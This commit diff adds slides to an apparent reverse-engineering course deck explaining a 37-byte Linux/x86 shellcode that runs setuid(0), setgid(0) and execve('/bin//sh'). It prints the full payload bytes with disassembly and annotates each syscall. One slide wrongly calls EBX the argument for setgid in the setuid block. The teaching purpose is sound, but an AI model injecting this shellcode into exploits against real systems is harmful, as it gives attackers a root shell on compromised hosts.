short shellcode explainer added

index.html

@@ -503,6 +503,99 @@ Many improvements exist to make gdb nicer for reverse engineering, such as:
 - https://github.com/longld/peda
 ]
 
+---
+template: inverse
+# Shellcode explained
+---
+.left-column[
+## Shellcode explained
+]
+.right-column[
+Shellcode from: http://shell-storm.org/shellcode/files/shellcode-251.html
+```
+/*
+ * (Linux/x86) setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 
+ * - 37 bytes - xgc@gotfault.net
+ */
+
+  "\x6a\x17"              // push $0x17
+  "\x58"                  // pop  %eax
+  "\x31\xdb"              // xor  %ebx, %ebx
+  "\xcd\x80"              // int  $0x80
+
+  "\x6a\x2e"              // push $0x2e
+  "\x58"                  // pop  %eax
+  "\x53"                  // push %ebx
+  "\xcd\x80"              // int  $0x80
+
+  "\x31\xd2"              // xor  %edx, %edx
+  "\x6a\x0b"              // push $0xb
+  "\x58"                  // pop  %eax
+  "\x52"                  // push %edx
+  "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f
+  "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f
+  "\x89\xe3"              // mov  %esp, %ebx
+  "\x52"                  // push %edx
+  "\x53"                  // push %ebx
+  "\x89\xe1"              // mov  %esp, %ecx
+  "\xcd\x80"              // int  $0x80
+```
+]
+
+---
+.left-column[
+## Shellcode explained
+]
+.right-column[
+```
+  "\x6a\x17"              // push $0x17
+  "\x58"                  // pop  %eax
+  "\x31\xdb"              // xor  %ebx, %ebx
+  "\xcd\x80"              // int  $0x80
+```
+`int 0x80` is a legacy way of doing a syscall to the kernel. See also:
+http://www.linfo.org/int_0x80.html As this is a 32-bit program, the list of syscalls can be found here: `/usr/include/asm/unistd_32.h` Which shows the values in decimal: 0x17 = 23 = setuid.
+So, whats done here is put 0x17 in EAX, and make EBX (the argument for setgid, see https://faculty.nps.edu/cseagle/assembly/sys_call.html) 0 using a XOR. Then call int 0x80. Resulting in a `setuid 0`.
+]
+
+---
+.left-column[
+## Shellcode explained
+]
+.right-column[
+```
+  "\x6a\x2e"              // push $0x2e
+  "\x58"                  // pop  %eax
+  "\x53"                  // push %ebx
+  "\xcd\x80"              // int  $0x80
+```
+Pretty much the same as last snippet, but for 0x2e = 46 = setgid.
+]
+
+---
+.left-column[
+## Shellcode explained
+]
+.right-column[
+```
+  "\x31\xd2"              // xor  %edx, %edx
+  "\x6a\x0b"              // push $0xb
+  "\x58"                  // pop  %eax
+  "\x52"                  // push %edx
+  "\x68\x2f\x2f\x73\x68"  // push $0x68732f2f
+  "\x68\x2f\x62\x69\x6e"  // push $0x6e69622f
+  "\x89\xe3"              // mov  %esp, %ebx
+  "\x52"                  // push %edx
+  "\x53"                  // push %ebx
+  "\x89\xe1"              // mov  %esp, %ecx
+  "\xcd\x80"              // int  $0x80
+```
+Another `int 0x80` here for syscall 0xb = 11 = execve. 0x68732f2f in ASCII chars = `hs//`, but little endian, so read `//sh`. Same for 0x6e69622f, which gets `/bin`. Together this makes for `/bin//sh`. That double `/` is here to make things align on 32-bit words.
+
+The arguments for execve will not fit in registers, as they're variable size, so EBX gets a pointer to the string.
+]
+
+
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